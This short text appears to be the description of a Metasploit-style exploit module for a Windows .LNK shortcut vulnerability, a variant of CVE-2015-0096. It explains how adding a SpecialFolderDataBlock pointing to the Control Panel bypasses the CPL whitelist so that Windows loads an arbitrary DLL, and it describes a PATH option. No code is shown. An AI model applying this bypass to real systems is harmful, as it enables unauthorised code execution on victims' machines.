          This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
          that contain a dynamic icon, loaded from a malicious DLL.

          This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
          similar except an additional SpecialFolderDataBlock is included. The folder ID set
          in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
          the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
          DLL file.

          The PATH option must be an absolute path to a writeable directory which is indexed for
          searching. If no PATH is specified, the module defaults to %USERPROFILE%.
